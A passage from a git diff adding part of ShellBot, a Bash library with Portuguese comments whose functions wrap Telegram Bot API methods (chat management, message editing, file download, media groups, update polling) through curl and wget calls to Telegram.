+ # Parâmetros obrigatórios. + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${user_id:+-d user_id="$user_id"} \ + ${offset:+-d offset="$offset"} \ + ${limit:+-d limit="$limit"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + + total=$(Json '.result.total_count' $jq_obj) + + if [[ $total -gt 0 ]]; then + for index in $(seq 0 $((total-1))) + do + max=$(Json ".result.photos[$index]|length" $jq_obj) + for item in $(seq 0 $((max-1))) + do + Json ".result.photos[$index][$item]" $jq_obj | GetObjValue + done + done + fi + + } || MessageError TG $jq_obj + + # Status + return $? + } + + # Função para listar informações do arquivo especificado. + ShellBot.getFile() + { + # Variáveis locais + local file_id jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'f:' \ + --longoptions 'file_id:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -f|--file_id) + file_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios. + [[ $file_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-f, --file_id]" + + # Chama o método. + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${file_id:+-d file_id="$file_id"}) + + # Testa o retorno do método. + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + # Essa função kicka o usuário do chat ou canal. (somente administradores) + ShellBot.kickChatMember() + { + # Variáveis locais + local chat_id user_id until_date jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:u:d:' \ + --longoptions 'chat_id:, + user_id:, + until_date:' \ + -- "$@") + + # Define os parâmetros posicionais + eval set -- "$param" + + # Trata os parâmetros + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + -d|--until_date) + CheckArgType int "$1" "$2" + until_date="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parametros obrigatórios. + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]" + + # Chama o método + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${user_id:+-d user_id="$user_id"} \ + ${until_date:+-d until_date="$until_date"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + # Utilize essa função para remove o bot do grupo ou canal. + ShellBot.leaveChat() + { + # Variáveis locais + local chat_id jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:' \ + --longoptions 'chat_id:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + return $? + + } + + ShellBot.unbanChatMember() + { + local chat_id user_id jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:u:' \ + --longoptions 'chat_id:, + user_id:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${user_id:+-d user_id="$user_id"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + return $? + } + + ShellBot.getChat() + { + # Variáveis locais + local chat_id jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:' \ + --longoptions 'chat_id:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.getChatAdministrators() + { + local chat_id total key index jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:' \ + --longoptions 'chat_id:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + + # Total de administratores + declare -i total=$(Json '.result|length' $jq_obj) + + # Lê os administradores do grupo se houver. + if [ $total -gt 0 ]; then + for index in $(seq 0 $((total-1))) + do + Json ".result[$index]" $jq_obj | GetObjValue + done + fi + + } || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.getChatMembersCount() + { + local chat_id jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:' \ + --longoptions 'chat_id:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj + } || MessageError TG $jq_obj + + return $? + } + + ShellBot.getChatMember() + { + # Variáveis locais + local chat_id user_id jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:u:' \ + --longoptions 'chat_id:, + user_id:' \ + -- "$@") + + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]" + + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${user_id:+-d user_id="$user_id"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + } + + ShellBot.editMessageText() + { + local chat_id message_id inline_message_id text parse_mode disable_web_page_preview reply_markup jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:m:i:t:p:w:r:' \ + --longoptions 'chat_id:, + message_id:, + inline_message_id:, + text:, + parse_mode:, + disable_web_page_preview:, + reply_markup:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -m|--message_id) + CheckArgType int "$1" "$2" + message_id="$2" + shift 2 + ;; + -i|--inline_message_id) + CheckArgType int "$1" "$2" + inline_message_id="$2" + shift 2 + ;; + -t|--text) + text="$2" + shift 2 + ;; + -p|--parse_mode) + CheckArgType parsemode "$1" "$2" + parse_mode="$2" + shift 2 + ;; + -w|--disable_web_page_preview) + CheckArgType bool "$1" "$2" + disable_web_page_preview="$2" + shift 2 + ;; + -r|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $text ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --text]" + [[ $inline_message_id ]] && unset chat_id message_id || { + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $message_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]" + } + + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${message_id:+-d message_id="$message_id"} \ + ${inline_message_id:+-d inline_message_id="$inline_message_id"} \ + ${text:+-d text="$text"} \ + ${parse_mode:+-d parse_mode="$parse_mode"} \ + ${disable_web_page_preview:+-d disable_web_page_preview="$disable_web_page_preview"} \ + ${reply_markup:+-d reply_markup="$reply_markup"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + + } + + ShellBot.editMessageCaption() + { + local chat_id message_id inline_message_id caption reply_markup jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:m:i:t:r:' \ + --longoptions 'chat_id:, + message_id:, + inline_message_id:, + caption:, + reply_markup:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -m|--message_id) + CheckArgType int "$1" "$2" + message_id="$2" + shift 2 + ;; + -i|--inline_message_id) + CheckArgType int "$1" "$2" + inline_message_id="$2" + shift 2 + ;; + -t|--caption) + caption="$2" + shift 2 + ;; + -r|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $message_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${message_id:+-d message_id="$message_id"} \ + ${inline_message_id:+-d inline_message_id="$inline_message_id"} \ + ${caption:+-d caption="$caption"} \ + ${reply_markup:+-d reply_markup="$reply_markup"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + + } + + ShellBot.editMessageReplyMarkup() + { + local chat_id message_id inline_message_id reply_markup jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:m:i:r:' \ + --longoptions 'chat_id:, + message_id:, + inline_message_id:, + reply_markup:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -m|--message_id) + CheckArgType int "$1" "$2" + message_id="$2" + shift 2 + ;; + -i|--inline_message_id) + CheckArgType int "$1" "$2" + inline_message_id="$2" + shift 2 + ;; + -r|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $inline_message_id ]] && unset chat_id message_id || { + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $message_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]" + } + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${message_id:+-d message_id="$message_id"} \ + ${inline_message_id:+-d inline_message_id="$inline_message_id"} \ + ${reply_markup:+-d reply_markup="$reply_markup"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + + } + + ShellBot.deleteMessage() + { + local chat_id message_id jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:m:' \ + --longoptions 'chat_id:, + message_id:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -m|--message_id) + CheckArgType int "$1" "$2" + message_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $message_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${message_id:+-d message_id="$message_id"}) + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + return $? + + } + + ShellBot.downloadFile() { + + local file_id file_info file_remote file_path filename dir opt ext + local uri="https://api.telegram.org/file/bot$_TOKEN_" + + local param=$(getopt --name "$FUNCNAME" \ + --options 'f:d:' \ + --longoptions 'file_id:, + dir:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -f|--file_id) + opt="$1" + file_id="$2" + shift 2 + ;; + -d|--dir) + [[ -d $2 ]] && { + [[ -w $2 ]] || MessageError API "$_ERR_DIR_WRITE_DENIED_" "$1" "$2" + } || MessageError API "$_ERR_DIR_NOT_FOUND_" "$1" "$2" + dir="${2%/}" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $file_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-f, --file_id]" + [[ $dir ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-d, --dir]" + + if file_info=$(ShellBot.getFile --file_id "$file_id" 2>/dev/null); then + + file_remote="$(echo $file_info | cut -d'|' -f3)" + file_info="$(echo $file_info | cut -d'|' -f-2)" + filename=${file_remote##*/} + ext="${filename##*.}" + + file_path="$(mktemp -u --tmpdir="$dir" "file$(date +%d%m%Y%H%M%S)-XXXXX${ext:+.$ext}")" + + if wget "$uri/$file_remote" -O "$file_path" &>/dev/null; then + echo "$file_info|$file_path" + else + MessageError API "$_ERR_FILE_DOWNLOAD_" "$opt" "$file_remote" + fi + else + MessageError API "$_ERR_FILE_INVALID_ID_" "$opt" "$file_id" + fi + + return $? + } + + ShellBot.editMessageLiveLocation() + { + local chat_id message_id inline_message_id + local latitude longitude reply_markup jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:m:i:l:g:r:' \ + --longoptions 'chat_id:, + message_id:, + inline_message_id:, + latitude:, + longitude:, + reply_markup:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -m|--message_id) + CheckArgType int "$1" "$2" + message_id="$2" + shift 2 + ;; + -i|--inline_message_id) + CheckArgType int "$1" "$2" + inline_message_id="$2" + shift 2 + ;; + -l|--latitude) + # Tipo: float + CheckArgType float "$1" "$2" + latitude="$2" + shift 2 + ;; + -g|--longitude) + # Tipo: float + CheckArgType float "$1" "$2" + longitude="$2" + shift 2 + ;; + -r|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $inline_message_id ]] && unset chat_id message_id || { + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $message_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]" + } + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${message_id:+-d message_id="$message_id"} \ + ${inline_message_id:+-d inline_message_id="$inline_message_id"} \ + ${latitude:+-d latitude="$latitude"} \ + ${longitude:+-d longitude="$longitude"} \ + ${reply_markup:+-d reply_markup="$reply_markup"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + } + + ShellBot.stopMessageLiveLocation() + { + local chat_id message_id inline_message_id reply_markup jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:m:i:r:' \ + --longoptions 'chat_id:, + message_id:, + inline_message_id:, + reply_markup:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -m|--message_id) + CheckArgType int "$1" "$2" + message_id="$2" + shift 2 + ;; + -i|--inline_message_id) + CheckArgType int "$1" "$2" + inline_message_id="$2" + shift 2 + ;; + -r|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $inline_message_id ]] && unset chat_id message_id || { + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $message_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]" + } + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${message_id:+-d message_id="$message_id"} \ + ${inline_message_id:+-d inline_message_id="$inline_message_id"} \ + ${reply_markup:+-d reply_markup="$reply_markup"}) + + # Testa o retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + } + + ShellBot.setChatStickerSet() + { + local chat_id sticker_set_name jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:s:' \ + --longoptions 'chat_id:, + sticker_set_name:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -s|--sticker_set_name) + sticker_set_name="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $sticker_set_name ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --sticker_set_name]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${sticker_set_name:+-d sticker_set_name="$sticker_set_name"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + return $? + } + + ShellBot.deleteChatStickerSet() + { + local chat_id jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:' \ + --longoptions 'chat_id:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + return $? + } + + ShellBot.inputMediaPhoto() + { + local __media __caption __album __delm + + local __param=$(getopt --name "$FUNCNAME" \ + --options 'a:m:c:' \ + --longoptions 'album:, + media:, + caption:' \ + -- "$@") + + + eval set -- "$__param" + + while : + do + case $1 in + -a|--album) + CheckArgType var "$1" "$2" + __album="$2" + shift 2 + ;; + -m|--media) + CheckArgType file "$1" "$2" + __media="$2" + shift 2 + ;; + -c|--caption) + __caption="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $__album ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-a, --album]" + [[ $__media ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --media]" + + declare -n __album + + __album=${__album#[} + __album=${__album%]} + + [[ $__album ]] && __delm=',' + + __album+="$__delm{\"type\":\"photo\"," + __album+="\"media\":\"$__media\"" + __album+="${__caption:+,\"caption\":\"$__caption\"}}" + + __album=${__album/#/[} + __album=${__album/%/]} + + return 0 + } + + ShellBot.inputMediaVideo() + { + local __media __album __delm + local __width __height __duration __caption + + local __param=$(getopt --name "$FUNCNAME" \ + --options 'a:m:c:w:h:d:' \ + --longoptions 'album:, + media:, + caption:, + width:, + height:, + duration:' \ + -- "$@") + + + eval set -- "$__param" + + while : + do + case $1 in + -a|--album) + CheckArgType var "$1" "$2" + __album="$2" + shift 2 + ;; + -m|--media) + CheckArgType file "$1" "$2" + __media="$2" + shift 2 + ;; + -c|--caption) + __caption="$2" + shift 2 + ;; + -w|--width) + CheckArgType int "$1" "$2" + __width="$2" + shift 2 + ;; + -h|--height) + CheckArgType int "$1" "$2" + __height="$2" + shift 2 + ;; + -d|--duration) + CheckArgType int "$1" "$2" + __duration="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $__album ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-a, --album]" + [[ $__media ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --media]" + + declare -n __album + + __album=${__album#[} + __album=${__album%]} + + [[ $__album ]] && __delm=',' + + __album+="$__delm{\"type\":\"video\"," + __album+="\"media\":\"$__media\"" + __album+="${__caption:+,\"caption\":\"$__caption\"}" + __album+="${__width:+,\"width\":$__width}" + __album+="${__height:+,\"height\":$__height}" + __album+="${__duration:+,\"duration\":$__duration}}" + + __album=${__album/#/[} + __album=${__album/%/]} + + return 0 + } + + ShellBot.sendMediaGroup() + { + local chat_id media disable_notification reply_to_message_id jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:m:n:r:' \ + --longoptions 'chat_id:, + media:, + disable_notification:, + reply_to_message_id:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -m|--media) + media="$2" + shift 2 + ;; + -n|--disable_notification) + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + --) + shift + break + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $media ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --media]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${media:+-F media="$media"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"}) + + # Retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.getUpdates() + { + local total_keys offset limit timeout allowed_updates jq_obj + + # Define os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'o:l:t:a:' \ + --longoptions 'offset:, + limit:, + timeout:, + allowed_updates:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -o|--offset) + CheckArgType int "$1" "$2" + offset="$2" + shift 2 + ;; + -l|--limit) + CheckArgType int "$1" "$2" + limit="$2" + shift 2 + ;; + -t|--timeout) + CheckArgType int "$1" "$2" + timeout="$2" + shift 2 + ;; + -a|--allowed_updates) + allowed_updates="$2" + shift 2 + ;; + --) + # Se não houver mais parâmetros + shift + break + ;; + esac + done + + # Seta os parâmetros + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${offset:+-d offset="$offset"} \ + ${limit:+-d limit="$limit"} \ + ${timeout:+-d timeout="$timeout"} \ + ${allowed_updates:+-d allowed_updates="$allowed_updates"}) + + # Limpa as variáveis inicializadas. + unset ${_var_init_list_[@]} + unset _var_init_list_ + + declare -ag _var_init_list_ + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + + # Se o modo flush estiver ativado, retorna uma coleção de objetos Json contendo as atualizações. + ((_FLUSH_OFFSET_)) && { echo "$jq_obj"; return 0; } + + local key key_list obj obj_cur obj_type var_name i + + # Total de atualizações + total_keys=$(Json '.result|length' $jq_obj) + + if [[ $total_keys -gt 0 ]]; then + + # Modo monitor + ((_BOT_MONITOR_)) && cat << _eof +=================== MONITOR =================== +Data: $(date '+%d/%m/%Y %T') +Script: $_BOT_SCRIPT_ +Bot (nome): $(ShellBot.first_name) +Bot (usuario): $(ShellBot.username) +Bot (id): $(ShellBot.id) +_eof + + # Salva e fecha o descritor de erro + exec 5<&2 + exec 2<&- + + for index in $(seq 0 $((total_keys-1))) + do + # Imprime a mensagem em fila + ((_BOT_MONITOR_)) && cat << _eof +----------------------------------------------- +Mensagem: $((index + 1)) +----------------------------------------------- +_eof + # Insere o primeiro elemento da consulta. + unset key_list + key_list[0]=".result[$index]" + + # Lê recursivamente todos os objetos. + while [[ ${key_list[@]} ]] + do + i=0 + + # Lista objetos. + for key in ${key_list[@]} + do + # Limpa o buffer + unset key_list + + # Lê as chaves do atual objeto + for obj in $(Json "$key|keys[]" $jq_obj) + do + # Se o tipo da chave for string, number ou boolean, imprime o valor armazenado. + # Se for object salva o nível atual em key_list. Caso contrário, lê o próximo + # elemento da lista. + obj_cur="$key.$obj" + obj_type=$(Json "$obj_cur|type" $jq_obj) + + if [[ $obj_type =~ (string|number|boolean) ]]; then + + # Define a nomenclatura válida para a variável que irá armazenar o valor da chave. + var_name=${obj_cur#.result\[$index\].} + var_name=${var_name//[]/} + var_name=${var_name//./_} + + # Cria um ponteiro para a variável armazenada em 'var_name'. + declare -g $var_name + declare -n byref=$var_name + + [[ ${byref[$index]} ]] || { + + # Atribui o valor de 'var_name', se a mesma não foi inicializada. + byref[$index]="$(Json "$obj_cur" $jq_obj)" + + # Exibe a inicialização das variáveis. + ((_BOT_MONITOR_)) && sed ':a;N;s/\n/ /;ta' <<< "$var_name = '${byref[$index]}'" + } + + # Remove ponteiro + declare +n byref + unset byref + + # Anexa a variável a lista caso não exista. + if ! grep -qw $var_name <<< ${_var_init_list_[@]}; then + _var_init_list_+=($var_name); fi + + elif [[ $obj_type = object ]]; then + key_list[$((i++))]=$obj_cur + elif [[ $obj_type = array ]]; then + key_list[$((i++))]=$obj_cur[] + fi + done + done + done + done + + # restaura o descritor de erro + exec 2<&5 + fi + + } || MessageError TG $jq_obj + + # Status + return $? + } + + # Bot métodos (somente leitura) + declare -rf ShellBot.token \ + ShellBot.id \ + ShellBot.username \ + ShellBot.first_name \ + ShellBot.regHandleFunction \ + ShellBot.watchHandle \ + ShellBot.ListUpdates \ + ShellBot.TotalUpdates \ + ShellBot.OffsetEnd \ + ShellBot.OffsetNext \ + ShellBot.getMe \ + ShellBot.getWebhookInfo \ + ShellBot.deleteWebhook \ + ShellBot.setWebhook \ + ShellBot.init \ + ShellBot.ReplyKeyboardMarkup \ + ShellBot.sendMessage \ + ShellBot.forwardMessage \ + ShellBot.sendPhoto \ + ShellBot.sendAudio \ + ShellBot.sendDocument \ + ShellBot.sendSticker \ + ShellBot.sendVideo \ + ShellBot.sendVideoNote \ + ShellBot.sendVoice \ + ShellBot.sendLocation \ + ShellBot.sendVenue \ + ShellBot.sendContact \ + ShellBot.sendChatAction \ + ShellBot.getUserProfilePhotos \ + ShellBot.getFile \ + ShellBot.kickChatMember \ + ShellBot.leaveChat \ + ShellBot.unbanChatMember \ + ShellBot.getChat \ + ShellBot.getChatAdministrators \ + ShellBot.getChatMembersCount \ + ShellBot.getChatMember \ + ShellBot.editMessageText \ + ShellBot.editMessageCaption \ + ShellBot.editMessageReplyMarkup \ + ShellBot.InlineKeyboardMarkup \ + ShellBot.InlineKeyboardButton \ + ShellBot.answerCallbackQuery \ + ShellBot.deleteMessage \ + ShellBot.exportChatInviteLink \ + ShellBot.setChatPhoto \ + ShellBot.deleteChatPhoto \ + ShellBot.setChatTitle \ + ShellBot.setChatDescription \ + ShellBot.pinChatMessage \ + ShellBot.unpinChatMessage \ + ShellBot.promoteChatMember \ + ShellBot.restrictChatMember \ + ShellBot.getStickerSet \ + ShellBot.uploadStickerFile \ + ShellBot.createNewStickerSet \ + ShellBot.addStickerToSet \ + ShellBot.setStickerPositionInSet \ + ShellBot.deleteStickerFromSet \ + ShellBot.stickerMaskPosition \ + ShellBot.downloadFile \ + ShellBot.editMessageLiveLocation \ + ShellBot.stopMessageLiveLocation \ + ShellBot.setChatStickerSet \ + ShellBot.deleteChatStickerSet \ + ShellBot.sendMediaGroup \ + ShellBot.inputMediaPhoto \ + ShellBot.inputMediaVideo \ + ShellBot.getUpdates + + # Retorna objetos + echo "$(ShellBot.id)|$(ShellBot.username)|$(ShellBot.first_name)|$(((_FLUSH_OFFSET_)) && FlushOffset)" + + # status + return 0 +} + +# Funções (somente leitura) +declare -rf MessageError \ + Json \ + JsonStatus \ + GetObjValue \ + FlushOffset \ + CreateUnitService \ + CheckArgType diff --git a/Recursos/usercodes/telebot-sh/bot_codes-ant.sh b/Recursos/usercodes/telebot-sh/bot_codes-ant.sh new file mode 